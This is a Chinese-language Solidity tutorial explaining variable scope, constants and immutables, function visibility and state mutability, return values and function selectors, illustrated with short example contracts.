聊一聊变量的作用域
Solidity 中的作用域规则遵循了 C99:变量将会从它们被声明之后可见,直到一对
{}
块的结束。对于参数形式的变量(例如:函数参数、修饰器参数、catch 参数等等)在其后接着的代码块内有效。 这些代码块是函数的实现,catch 语句块等。作为一个例外,在 for 循环语句中初始化的变量,其可见性仅维持到for
循环的结束。那些定义在代码块之外的变量,比如函数、合约、自定义类型等等,并不会影响它们的作用域特性。这意味着你可以在实际声明状态变量的语句之前就使用它们,并且递归地调用函数。
聊一聊
状态变量
/局部变量
/全局变量
(3 种变量状态)。状态变量:
变量值永久保存在智能合约存储空间中,相当于属于已经写入到区块链中,可以随时调用,除非该条链消失。
特点:定义在智能合约的存储空间中
局部变量:
变量值仅在函数执行过程中有效,供函数内部使用;调用函数时,在虚拟机的内存中;函数退出后,变量无效。
特点: 定义在函数内部
全局变量:
保存在全局命名空间,用于获取区块链相关信息的特殊变量。
特点:不用定义,直接获取即可。
Constant 常量使用时有哪些需要注意的?
普通的状态变量,添加
constant
关键词即可声明为常量与常规状态变量相比,常量的 gas 要低很多。
常量的名字,一般使用全大写的。
常量赋值后不可以修改。
常量必须声明和初始化一起做掉,否则编译不通过。
对于 constant 常量, 他的值在编译器确定,不能定义在函数内
不是所有的类型都支持常量,当前支持的仅有值类型(包括地址类型)/字符串。
编译器并不会为
constant
常量在storage
上预留空间编译器不会为这些变量预留存储位,它们的每次出现都会被替换为相应的常量表达式(它可能被优化器计算为实际的某个值)。
也可以在文件级别定义 constant 变量
注:0.7.2 之后加入的特性。
可以使用内建函数赋值常量
Immutable 不可变量使用时有哪些需要注意的?
赋值方式:
immutable
修饰的变量是在部署的时候确定变量的值,它在构造函数中赋值一次之后,以后就不不能再次改变了,它是一个运行时赋值。同时也带来更多的安全性。特点:它既有 constant 常量不可修改和 Gas 费用低的优势,又有变量动态赋值的优势。
Solidity
immutable
是另一种常量的表达方式。
原则:
immutable
可以声明和初始化一起做掉,也可以部署时在constructor
中做掉。(必须在constructor
运行截止时就赋值,也支持在构造函数内使用普通函数的结果来赋值)immutable
不能用在引用数据类型上(当前constant
支持字符串,immutable
不支持字符串)
应用场景:
在创建不可转移的
owner
时在创建 ERC20 的
name
,symbol
,decimals
时
状态变量/constant/Immutable 三者的 gas 区别
对于常量,赋值给它的表达式将复制到所有访问该常量的位置,并且每次都会对其进行重新求值。这样可以进行本地优化。
不可变变量在构造时进行一次求值,并将其值复制到代码中访问它们的所有位置。 对于这些值,将保留 32 个字节,即使它们适合较少的字节也是如此。 因此,常量有时可能比不可变量更便宜。
状态变量声明为 constant (常量)或者 immutable (不可变量),在这两种情况下,合约一旦部署之后,变量将不在修改。
对于 constant 常量, 他的值在编译器确定.
对于 immutable, 它的值在部署时确定。
与常规状态变量相比,常量和不可变量的 gas 成本要低得多。
对于常量,赋值给它的表达式将复制到所有访问该常量的位置,并且每次都会对其进行重新求值。这样可以进行本地优化。
不可变变量在构造时进行一次求值,并将其值复制到代码中访问它们的所有位置。 对于这些值,将保留 32 个字节,即使它们适合较少的字节也是如此。 因此,常量有时可能比不可变量更便宜。
不是所有类型的状态变量都支持用
constant
或immutable
来修饰,当前constant
仅支持 字符串/值类型,immutable
仅支持值类型
状态变量的可见性又哪些?
三种,注意 external 不能声明在状态变量上,只能标识在函数上
四种可见性的使用区别
需要注意继承性
需要注意 external 不能声明在状态变量上,只能标识在函数上
public 自动生成 getter 函数
不同类型的 getter 函数是什么样子的?
编译器自动为所有 public 状态变量创建 getter 函数。
array/mapping/struct 类型的 getter 函数有参数。
全局时间单位有哪些?使用时候有没有需要注意的事情?
由于闰秒造成的每年不都是 365 天、每天不都是 24 小时 leap seconds,如果想要和线下时间堆砌,需要预言机进行时间矫正。
全局的区块和交易属性有哪些?分别返回什么?可以用来做什么?使用时候有没有什么需要注意的?
不要依赖
block.timestamp
和blockhash
产生随机数,除非你知道自己在做什么。
全部的 ABI 编码及解码函数有哪些?分别什么作用?
abi.encode
会补零abi.encodePacked
不会补零(不补零,容易导致碰撞错误。(两个参数拼在一起,导致参数不同,结果相同))abi.decode
abi.encodeWithSignature
abi.encodeWithSelector
abi.encodeCall
和abi.encodeWithSelector
一致;执行完整的类型检查, 确保类型匹配函数签名。
函数
函数是一组可重用代码的包装,可接受参数作为输入,可返回输出。函数也被称为代码的可执行单元。
函数的定义
函数由关键字 function
声明,后面跟函数名、参数、可视范围、状态可变性、返回值的定义。函数可以定义在合约内部,也可以定义在合约外部。
function fnName(<parameter list>)
<visibility>
<state mutability>
[returns(<return type>)] {
//语句
}
function fnName(<parameter types>)
{internal|external}
[pure|view|payable]
[returns (<return types>)]{
//...
}
function: 声明函数的固定关键字
fnName : 函数名,推荐小驼峰写法,更多参考: 合约编码规范 (
TODO:
)<parameter list>
: 参数列表(参数类型 + 参数名字)<visibility>
: 可见性public
external
internal
private
<state mutability>
: 状态可变性pure
view
payable
不写
pure/view/payable
中任何一个,代表,函数既可以读取也可以写入状态变量。
returns (<return types>)
:返回值和返回参数类型
合约内的函数
注意:可以在合约内部或外部定义函数。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Fun {
function add(uint256 x, uint256 y) external pure returns (uint256) {
return x + y;
}
function minus(uint256 x, uint256 y) external pure returns (uint256) {
return x - y;
}
}
合约外的函数
合约之外的函数(也称为“自由函数”)始终具有隐式的 internal
可见性。 它们的代码包含在所有调用它们合约中,类似于内部库函数。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
function sum(uint256[] memory arr) pure returns (uint256 s) {
for (uint256 i = 0; i < arr.length; i++) {
s += arr[i];
}
}
contract ArrayExample {
bool public found;
function f(uint256[] memory arr) public {
// 在内部调用 free 函数。编译器会将其代码添加到合约中。
uint256 s = sum(arr);
found = s >= 10 ? true :false;
}
}
在合约之外定义的函数仍然在合约的上下文内执行。他们仍然可以访问变量 this
,也可以调用其他合约,将其发送以太币或销毁调用它们合约等其他事情。
与在合约中定义的函数的主要区别为:自由函数不能直接访问存储变量和不在他们的作用域范围内函数。
函数的输入参数
函数参数的声明方式与变量相同。不过未使用的参数可以省略参数名。
例如,如果我们希望合约接受有两个整数形参的函数的外部调用,可以像下面这样写:
普通用法
函数参数可以当作为本地变量
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Simple {
uint256 sum;
function add(uint256 a, uint256 b) public {
sum = a + b;
}
}
函数参数可用在等号左边被赋值。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Simple {
function demo(uint256 _a) public pure returns (uint256) {
_a = 22;
return _a;
}
}
可以使用数组作为函数参数:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Simple {
uint256[] a;
function demo(uint256[] memory _a) public returns (uint256[] memory) {
a = _a;
return _a;
}
}
不同版本的对比:二维数组
注解:0.8.0 之前外部函数不可以接受多维数组作为参数 如果原文件加入 pragma abicoder v2;
可以启用 ABI v2 版编码功能,这此功能可用。(注:在 0.7.0 之前是使用 pragma experimental ABIEncoderV2;
)
内部函数 则不需要启用 ABI v2 就接受多维数组作为参数。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
contract Simple {
uint256[][2] a = [[1, 2], [3, 4]];
function demo() public view returns (uint256[][2] memory) {
return a;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Simple {
uint256[][2] a = [[1, 2], [3, 4]];
function demo() public view returns (uint256[][2] memory) {
return a;
}
}
不同版本的对比:自定义结构
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
contract Simple {
struct BillType {
uint256 duration;
uint256 multiplier;
}
BillType[] public allBillTypes;
// constructor() public {
// allBillTypes.push(BillType({duration: 1, multiplier: 1}));
// }
function getAllBillType() public view returns (BillType[] memory) {
return allBillTypes;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Simple {
struct BillType {
uint256 duration;
uint256 multiplier;
}
BillType[] public allBillTypes;
constructor() {
allBillTypes.push(BillType({duration: 1, multiplier: 1}));
}
function getAllBillType() public view returns (BillType[] memory) {
return allBillTypes;
}
}
在 0.8.X 版本已经没有问题了。
函数的调用
要调用函数,只需使用函数名,并传入参数即可。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
mapping(address => uint256) public balances;
event WithdrawAll(uint256 amount);
// 存款
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// 取款
function withdrawAll() public {
uint256 amountBalance = amountAvailable();
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amountBalance}("");
require(success, "Failed to send");
emit WithdrawAll(amountBalance);
}
// 扣除 1000 wei 作为合约的使用手续费
function amountAvailable() public view returns (uint256) {
require(balances[msg.sender] > 1000, "must > 1000");
return balances[msg.sender] - 1000;
}
}
上面合约种的 amountAvailable
既可以在合约外,用户直接调用,也可以在合约内部 withdrawAll
中使用。
构造函数
构造函数关键字 constructor
,Solidity 构造函数是一个特殊函数,它仅能在智能合约部署的时候调用一次,创建之后就不能再次被调用。
构造函数是可选的,只允许有一个构造函数,这意味着不支持重载。
用处: Solidity 构造函数常用来进行状态变量的初始化工作。
比如设置合约的 owner 权限
设置状态变量的初始值
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract ErrorModifier{
address public owner;
uint public count = 0;
constructor(uint _x){
owner = msg.sender;
count = _x;
}
}
需要注意的是:在合约创建的过程中,它的代码还是空的,所以直到构造函数执行结束,我们都不应该在其中调用合约自己的函数。(我们可以调用,但是不推荐调用)
请注意:不可以在构造函数中通过 this 来调用函数,因为此时真实的合约实例还没有被创建。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract ErrorModifier {
address public owner;
uint256 public count = 0;
constructor(uint256 _x) {
owner = msg.sender;
count = _x;
test();
}
function test() public returns (uint256) {
count = 1;
return count;
}
}
visibility:可见性
可见性标识符的定义位置,对于状态变量来说是在类型后面,对于函数是在参数列表和返回关键字中间。
函数对不同的合约有不同的可见性。visibility 又称为:可视范围/可见性/作用域,函数的可视范围有四种:
Private(私有):函数只能在所定义的智能合约内部调用。
在继承的合约内不可访问。
Internal(内部):可以在所定义智能合约内部调用该函数,也可以从继承合约中调用该函数。
internal 函数和状态变量可以在当前合约或继承合约里调用。需要注意的是不能加前缀 this,前缀 this 是表示通过外部方式访问。
External(外部):只能从智能合约外部调用。 如果要从智能合约中调用它,则必须使用
this
。外部函数是合约接口的一部分,所以我们可以从其它合约或通过交易来发起调用。一个外部函数 f,不能通过内部的方式来发起调用,如 f()不可以调用,但可以通过 this.f()。
外部函数在接收大的数组数据时更加有效。
Public(公开):可以从任何地方调用。
内部函数只能在当前合约内被调用(更具体来说,在当前代码块内,包括内部库函数和继承的函数中),因为它们不能在当前合约上下文的外部被执行。
调用一个内部函数是通过跳转到它的入口标签来实现的,就像在当前合约的内部调用一个函数。
外部函数由一个地址和一个函数签名组成,可以通过外部函数调用传递或者返回。
函数类型默认是内部函数,因此不需要声明 internal
关键字。请注意,这仅适用于函数类型,合约中定义的函数明确指定可见性,它们没有默认值。
更多内容参考 变量的作用域&可视范围
private
private 函数和状态变量仅在当前定义它们的合约中使用,并且不能被派生合约使用。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract C {
function f(uint a) private pure returns (uint b) { return a + 1; }
function setData(uint a) internal { data = a; }
uint public data;
}
在下面的例子中,D
可以调用 c.getData()
来获取状态存储中 data
的值,但不能调用 f
。 合约 E
继承自 C
,因此可以调用 compute
。
pragma solidity >=0.4.16 <0.9.0;
contract C {
uint private data;
function f(uint a) private returns(uint b) { return a + 1; }
function setData(uint a) public { data = a; }
function getData() public returns(uint) { return data; }
function compute(uint a, uint b) internal returns (uint) { return a+b; }
}
// 下面代码编译错误
contract D {
function readData() public {
C c = new C();
uint local = c.f(7); // 错误:成员 `f` 不可见
c.setData(3);
local = c.getData();
local = c.compute(3, 5); // 错误:成员 `compute` 不可见
}
}
contract E is C {
function g() public {
C c = new C();
uint val = compute(3, 5); // 访问内部成员(从继承合约访问父合约成员)
}
}
警告: 设置为 private
或 internal
,只能防止其他合约读取或修改信息,但它仍然可以在链外查看到。
internal
一个内部函数可以被分配给一个内部函数类型的变量,无论定义在哪里,包括合约和库的私有、内部和 public 函数,以及自由函数。
另一方面,外部函数类型只与 public 和外部合约函数兼容。库是不可以的,因为库使用 delegatecall,并且 他们的函数选择器有不同的 ABI 转换 。 接口中声明的函数没有定义,所以指向它们也没有意义。
内部可见性函数访问可以在当前合约或派生的合约访问,不可以外部访问。 由于它们没有通过合约的 ABI 向外部公开,它们可以接受内部可见性类型的参数:比如映射或存储引用。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
library ArrayUtils {
// 内部函数可以在内部库函数中使用,
// 因为它们会成为同一代码上下文的一部分
function map(
uint256[] memory self,
function(uint256) pure returns (uint256) f
) internal pure returns (uint256[] memory r) {
r = new uint256[](self.length);
for (uint256 i = 0; i < self.length; i++) {
r[i] = f(self[i]);
}
}
function reduce(
uint256[] memory self,
function(uint256, uint256) pure returns (uint256) f
) internal pure returns (uint256 r) {
r = self[0];
for (uint256 i = 1; i < self.length; i++) {
r = f(r, self[i]);
}
}
function range(uint256 length) internal pure returns (uint256[] memory r) {
r = new uint256[](length);
for (uint256 i = 0; i < r.length; i++) {
r[i] = i;
}
}
}
contract Pyramid {
using ArrayUtils for *;
function pyramid(uint256 l) public pure returns (uint256) {
return ArrayUtils.range(l).map(square).reduce(sum);
}
function square(uint256 x) internal pure returns (uint256) {
return x * x;
}
function sum(uint256 x, uint256 y) internal pure returns (uint256) {
return x + y;
}
}
当前合约中的函数可以直接(“从内部”)调用,也可以递归调用,就像下边这个无意义的例子一样。(输出"uint256: ret 0"
)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// 编译器会有警告提示
contract C {
function g(uint256 a) public pure returns (uint256 ret) {
return f();
}
function f() internal pure returns (uint256 ret) {
return g(7) + f();
}
}
这些函数调用在 EVM 中被解释为简单的跳转。这样做的效果就是当前内存不会被清除,例如,函数之间通过传递内存引用进行内部调用是非常高效的。 只能在同一合约实例的函数,可以进行内部调用。
只有在同一合约的函数可以内部调用。仍然应该避免过多的递归调用, 因为每个内部函数调用至少使用一个堆栈槽, 并且最多有 1024 堆栈槽可用。
external
external 外部可见性函数作为合约接口的一部分,意味着我们可以从其他合约和交易中调用。 一个外部函数 f
不能从内部调用(即 f
不起作用,但 this.f()
可以)。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Oracle {
struct Request {
bytes data;
function(uint256) external callback;
}
Request[] private requests;
event NewRequest(uint256);
function query(bytes memory data, function(uint256) external callback)
public
{
requests.push(Request(data, callback));
emit NewRequest(requests.length - 1);
}
function reply(uint256 requestID, uint256 response) public {
// 这里检查回复来自可信来源
requests[requestID].callback(response);
}
}
contract OracleUser {
Oracle private constant ORACLE_CONST =
Oracle(address(0x00000000219ab540356cBB839Cbe05303d7705Fa)); // known contract
uint256 private exchangeRate;
function buySomething() public {
ORACLE_CONST.query("USD", this.oracleResponse);
}
function oracleResponse(uint256 response) public {
require(
msg.sender == address(ORACLE_CONST),
"Only oracle can call this."
);
exchangeRate = response;
}
}
方式也可以使用表达式 this.g(8)
; 和 c.g(2)
; 进行调用,其中 c 是合约实例, g 合约内实现的函数,但是这两种方式调用函数,称为“外部调用”,它是通过消息调用来进行,而不是直接的代码跳转。请注意,不可以在构造函数中通过 this
来调用函数,因为此时真实的合约实例还没有被创建。
如果想要调用其他合约的函数,需要外部调用。对于一个外部调用,所有的函数参数都需要被复制到内存。
从一个合约到另一个合约的函数调用不会创建自己的交易, 它是作为整个交易的一部分的消息调用。
调用函数并转账
当调用其他合约的函数时,需要在函数调用是指定发送的 Wei 和 gas 数量,可以使用特定选项 {value: 10, gas: 10000}
,请注意,不建议明确指定 gas,因为操作码的 gas 消耗将来可能会发生变化。 任何发送给合约 Wei 将被添加到目标合约的总余额中:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract InfoFeed {
function info() external payable returns (uint256 ret) {
return 42;
}
}
contract Consumer {
InfoFeed feed;
function setFeed(InfoFeed addr) public {
feed = addr;
}
function callFeed() public payable{
feed.info{value: 10, gas: 800}();
}
}
payable 修饰符要用于修饰 info 函数,否则, value 选项将不可用。
注意 feed.info{value: 10, gas: 800}
仅(局部地)设置了与函数调用一起发送的 Wei 值和 gas 的数量,只有最后的小括号才执行了真正的调用。 因此, feed.info{value: 10, gas: 800}
是没有调用函数的, value
和 gas
设置是无效的。
extcodesize 操作码来检查要调用的合约是否确实存在
由于 EVM 认为可以调用不存在的合约的调用,因此在 Solidity 语言层面里会使用 extcodesize 操作码来检查要调用的合约是否确实存在(包含代码),如果不存在该合约,则抛出异常。如果返回数据在调用后被解码,则跳过这个检查,因此 ABI 解码器将捕捉到不存在的合约的情况。
请注意,这个检查在 低级 call 时不被执行,这些调用是对地址而不是合约实例进行操作。
当使用高级别的方式调用 预编译合约时 需要注意,因为因为根据上面的逻辑,编译器认为它们不存在,即使它们执行代码并返回数据。
如果被调用合约本身抛出异常或者 gas 用完等,函数调用也会抛出异常。
与其他合约交互时候有什么需要注意的?
任何与其他合约的交互都会产生潜在危险,尤其是在不能预先知道合约代码的情况下。 交互时当前合约会将控制权移交给被调用合约,而被调用合约可能做任何事。即使被调用合约从一个已知父合约继承,继承的合约也只需要有一个正确的接口就可以了。 被调用合约的实现可以完全任意的实现,因此会带来危险。 此外,请小心这个交互调用在返回之前再回调我们的合约,这意味着被调用合约可以通过它自己的函数改变调用合约的状态变量。 一个建议的函数写法是,例如,在合约中状态变量进行各种变化后再调用外部函数,这样,你的合约就不会轻易被滥用的重入攻击 (reentrancy) 所影响
public
请注意,当前合约的 public 函数既可以被当作内部函数也可以被当作外部函数使用。 如果想将一个函数当作内部函数使用,就用 f
调用,如果想将其当作外部函数,使用 this.f
。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Example {
function f() public payable returns (bytes4) {
assert(this.f.address == address(this));
return this.f.selector;
}
function g() public {
this.f{gas: 10, value: 800}();
}
}
public & external 函数的属性
public(或 external)函数都有下面的成员:
.address
返回函数的合约地址。.selector
返回 ABI 函数选择器
由于 Solidity 有两种函数调用:外部调用则会产生一个 EVM 调用,而内部调用不会。
例子: internal
和 external
搭配做 DAO 的管理员的小案例。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract DAO {
// 状态变量
mapping(address => bool) public admins;
// 事件
event AddAdmin(address indexed ads);
// 函数修改器
modifier onlyRole() {
require(admins[msg.sender], "Not Authorized");
_;
}
constructor() {
_addAdmin(msg.sender);
}
function _addAdmin(address _ads) internal {
admins[_ads] = true;
emit AddAdmin(_ads);
}
function addAdmin(address _ads) external onlyRole {
_addAdmin(_ads);
}
}
例子小结:
该特性常用于权限的区分;
比如
internal _fn
用于在constructor
内使用。而external fn
用于外部带验证使用,并且在fn
内部调用_fn
;
例子:合约继承的例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
uint256 private varPrivate = 0;
uint256 internal varInternal = 1;
// 不能声明 external 可见性的状态变量
// uint256 external varExternal = 2; // Expected identifier but got 'external'
uint256 public varPublic = 3;
function testPrivate() private pure returns (uint256) {
return 0;
}
function testInternal() internal pure returns (uint256) {
return 1;
}
function testExternal() external pure returns (uint256) {
return 2;
}
function testPublic() public pure returns (uint256) {
return 3;
}
}
contract B is A {
function getVal() external view returns (uint256, uint256) {
// return varPrivate; // private 仅在A内,不能被继承,无法访问
return (varInternal, varPublic);
}
function getFn()
external
view
returns (
uint256,
uint256,
uint256
)
{
// uint256 p = testPrivate(); // private 仅在A内,不能被继承,无法访问
uint256 i = testInternal(); // 可访问 internal 函数
// external 只能在外部访问,不能直接访问 external 函数
// uint256 e = testExternal();
// 虽然不能直接访问,但是可以使用 this 代表合约外部,
// 然后调用外部函数;该方法不推荐。
uint256 e2 = this.testExternal();
uint256 p2 = this.testPublic();
return (i, e2, p2);
}
}
总结:
/**
-----------------------
| contract A |
| |
| 有效变量类型: |
| varPrivate |
| varInternal |
| varPublic | <------------ 外部
| 不存在external变量 | 变量: varPublic
| | 方法: testPublic / testExternal
| 有效函数类型: |
| testPrivate |
| testInternal |
| testExternal |
| testPublic |
-----------------------
-----------------------
| contract B |
| |
| 有效变量类型: |
| varInternal |
| varPublic | <------------ 外部
| | 变量: varPublic
| | 方法: testPublic / testExternal
| 有效函数类型: |
| testInternal |
| testPublic |
-----------------------
*/
mutability:状态可变性
pure
: 既不读取也不修改状态变量这种函数被称为纯函数
view
: 读取状态变量,但是不修改状态变量这种函数被称为视图函数
状态变量的 Getter 方法默认是 view 函数。
payable
:用 payable 声明的函数可以接受发送给合约的以太币.如果未指定,该函数将自动拒绝所有发送给它的以太币
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract ViewAndPure{
uint public num ;
function viewFn() external view returns(uint){
return num;
}
function pureFn(uint x) external pure returns(uint){
return x + 1;
}
}
pure 不允许的操作
声明为 pure 函数,可以在函数声明里,添加 pure 关键字。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract C {
function f(uint256 a, uint256 b) public pure returns (uint256) {
return a * (b + 42);
}
}
如果函数中存在以下语句,则被视为读取状态,编译器将抛出警告。
读取状态变量。
这也意味着读取
immutable
变量也不是一个pure
操作。
访问
address(this).balance
或<address>.balance
访问
block
,tx
,msg
中任意成员 (除msg.sig
和msg.data
之外)。调用任何未标记为
pure
的函数。使用包含特定操作码的内联汇编。
TODO:
这个不了解,需要用例子加深印象。
使用操作码
STATICCALL
, 这并不保证状态未被读取, 但至少不被修改。
如果发生错误,pure
函数可以使用 revert()
和 require()
函数来还原潜在的状态更改。还原状态更改不被视为 状态修改, 因为它只还原以前在没有view
或 pure
限制的代码中所做的状态更改, 并且代码可以选择捕获 revert 并不传递还原。这种行为也符合 STATICCALL 操作码。
警告:不可能在 EVM 级别阻止函数读取状态, 只能阻止它们写入状态 (即只能在 EVM 级别强制执行 view
, 而 pure
不能强制)。
在 0.5.0 版本之前, 编译器没有对 pure 函数使用 STATICCALL 操作码。这样通过使用无效的显式类型转换启用 pure 函数中的状态修改。 通过对 pure 函数使用 STATICCALL , 可以防止在 EVM 级别上对状态进行修改。
在 0.4.17 版本之前,编译器不会强制 pure 函数不读取状态。它是一个编译时类型检查, 可以避免在合约类型之间进行无效的显式转换, 因为编译器可以验证合约类型没有状态更改操作, 但它不会在运行时能检查调用实际的类型。
view 不允许的操作
可以将函数声明为 view 类型,这种情况下要保证不修改状态。声明为 view 图函数,可以在函数声明里,添加 view 关键字。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract C {
function f(uint256 a, uint256 b) public view returns (uint256) {
return a * (b + 42) + block.timestamp;
}
}
注解: Getter 方法自动被标记为 view。
如果函数中存在以下语句,则被视为修改状态,编译器将抛出警告。
修改状态变量。
触发事件。
创建其它合约。
使用
selfdestruct
。通过调用发送以太币。
调用任何没有标记为 view 或者 pure 的函数。
使用底层调用
(TODO:这里是 call 操作么?)
使用包含某些操作码的内联程序集。
payable
一个加和减的 DEMO
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Counter{
uint public count ;
function add() external {
count+=1;
}
function minus() external {
count-=1;
}
}
状态可变性的类型转换
如果满足下列条件,函数类型 A 可以隐式转换为函数类型:
它们的参数类型相同,返回类型相同,它们的内部/外部属性是相同的,并且 A 的状态可变性比 B 的状态可变性更具限制性
比如:
pure 函数可以转换为 view 和 non-payable 函数
view 函数可以转换为 non-payable 函数
payable 函数可以转换为 non-payable 函数
其他的转换则不可以。
关于 payable
和 non-payable
的规则可能有点令人困惑,但实质上,如果一个函数是 payable
,这意味着它 也接受零以太的支付,因此它也是 non-payable
。 另一方面,non-payable
函数将拒绝发送给它的 以太币 Ether , 所以 non-payable
函数不能转换为 payable
函数。
函数的返回值 returns/return
函数返回类型不能为空 —— 如果函数类型不需要返回,则需要删除整个 returns (<return types>)
部分。
函数可能返回任意数量的参数作为输出。函数的返回值有两个关键字,一个是returns
,一个是 return
;
returns
是在函数名后面的,用来标示返回值的数量,类型,名字信息。return
是在函数主体内,用于返回returns
指定的数据信息
多种返回值
函数返回变量的声明方式在关键词 returns
之后,与参数的声明方式相同。函数有以下几个返回值。
单个返回值
多个返回值
带有名字的返回值
隐式返回
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract FunctionOutputs {
// 单个返回值
function returnSingle() public pure returns (uint256) {
return 1;
}
// 多个返回值
function returnMultiple() public pure returns (uint256, bool) {
return (1, true);
}
// 带有名字的返回值
// 这个形式等同于赋值给返回参数,然后用 return; 退出。
function returnName() public pure returns (uint256 u, bool b) {
return (1, true);
}
// 隐式返回
function returnAssigned() public pure returns (uint256 u, bool b) {
u = 1;
b = true;
}
}
返回变量名可以被省略。 返回变量可以当作为函数中的本地变量,没有显式设置的话,会使用 :默认值。返回变量可以显式给它附一个值
如果使用 return 提前退出有返回值的函数, 必须在用 return 时提供返回值。
注解:非内部函数有些类型没法返回,比如限制的类型有:多维动态数组、结构体等。如果添加 pragma abicoder v2;
启用 ABI V2 编码器,则是可以的返回更多类型,不过 mapping 仍然是受限的。
小测试:如下合约,test 调用后返回什么
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
//当给返回值赋值后,并且有个return,以最后的return为主
function test() public pure returns (uint256 mul) {
uint256 a = 10;
mul = 100;
return a;
}
}
答案: 返回结果是: 0:uint256: mul 10
合约内函数返回值的接收
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract FunctionOutputs {
// 多个返回值
function returnMultiple() public pure returns (uint256, bool) {
return (1, true);
}
function a() external pure returns (uint256 u, bool b) {
// 接收返回值
(uint256 uu, bool bb) = returnMultiple();
// 只接受一个返回值
(, bool bbb) = returnMultiple();
// 接收并返回
(u, b) = returnMultiple();
}
}
解构赋值和返回多值
Solidity 内部允许元组 (tuple) 类型,也就是一个在编译时元素数量固定的对象列表,列表中的元素可以是不同类型的对象。这些元组可以用来同时返回多个数值,也可以用它们来同时给多个新声明的变量或者既存的变量(或通常的 LValues):
pragma solidity >=0.5.0 <0.9.0;
contract C {
uint index;
function f() public pure returns (uint, bool, uint) {
return (7, true, 2);
}
function g() public {
//基于返回的元组来声明变量并赋值
(uint x, bool b, uint y) = f();
//交换两个值的通用窍门——但不适用于非值类型的存储 (storage) 变量。
(x, y) = (y, x);
//元组的末尾元素可以省略(这也适用于变量声明)。
(index,,) = f(); // 设置 index 为 7
}
}
不可能混合变量声明和非声明变量复制, 即以下是无效的: (x, uint y) = (1, 2);
在 0.5.0 版本之前,给具有更少的元素数的元组赋值都可以可能的,无论是在左边还是右边(比如在最后空出若干元素)。现在,这已经不允许了,赋值操作的两边应该具有相同个数的组成元素。
当涉及引用类型时,在同时分配给多个变量时要小心, 因为这可能会导致意外的复制行为。
数组和结构体的复杂性
TODO:
赋值语义对于像数组和结构体(包括 bytes 和 string) 这样的非值类型来说会有些复杂。参考 数据位置及赋值行为 了解更多 。
在下面的示例中, 对 g(x)
的调用对 x
没有影响, 因为它在内存中创建了存储值独立副本。但是, h(x)
成功修改 x
, 因为只传递引用而不传递副本。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
uint[20] public x;
function f() public {
g(x);
h(x);
}
function g(uint[20] memory y) internal pure {
y[2] = 3;
}
function h(uint[20] storage y) internal {
y[3] = 4;
}
}
函数的签名/函数标识符
在变量的全局变量那一章,我们介绍了 msg.data
msg.sig
,分别是调用合约的完整的 calldata,以及函数标识符(calldata 的前四个字节)
查看 msg.data
代码如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Receiver {
event Log(bytes data1, bytes4 data2);
function transfer(address recipient, uint256 amount)
external
payable
returns (address, uint256)
{
emit Log(msg.data, msg.sig);
return (msg.sender, msg.value);
}
}
输入:
0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
1
logs 结果:
data1 (为了方便阅读,我拆分成如下)
0xa9059cbb 0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4 0000000000000000000000000000000000000000000000000000000000000001
data2 结果如下
0xa9059cbb
output 结果:
0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
2
msg.data 中函数标识符的实现逻辑
核心: bytes4(keccak256(bytes("transfer(address,uint256)")))
一个函数调用数据的前 4 字节,指定了要调用的函数。这就是某个函数签名的 Keccak 哈希的前 4 字节(bytes32 类型是从左取值)。
函数签名被定义为基础原型的规范表达,而基础原型是函数名称加上由括号括起来的参数类型列表,参数类型间由一个逗号分隔开,且没有空格。.
代码如下,获取 Hash 后的值,和截取后的值
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract FunctionSelector {
function getSelector(string calldata _func)
external
pure
returns (bytes32, bytes4)
{
// _func 字符串通过 bytes 转为 bytes
// 使用 keccak256 进行 Hash值运算
// 使用 bytes4 截取 keccak256 返回的32位数据
return (keccak256(bytes(_func)), bytes4(keccak256(bytes(_func))));
}
}
测试:
部署
输入
"transfer(address,uint256)"
获取结构
0xa9059cbb2ab09eb219583f4a59a5d0623ade346d962bcd4e46b11da047c9049b
0xa9059cbb
注意:以上仅仅是背后的原理展示,如果想要获取值,可以通过.selector
返回 ABI 函数选择器
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
library L {
function f(uint256) external {}
}
contract C {
function g() public pure returns (bytes4) {
return L.f.selector;
}
}
尽管可以对 public 或 external 的库函数进行外部调用,但此类调用会被视为 Solidity 的内部调用,与常规的 contract ABI 规则不同。外部库函数比外部合约函数支持更多的参数类型,例如递归结构和指向存储的指针。
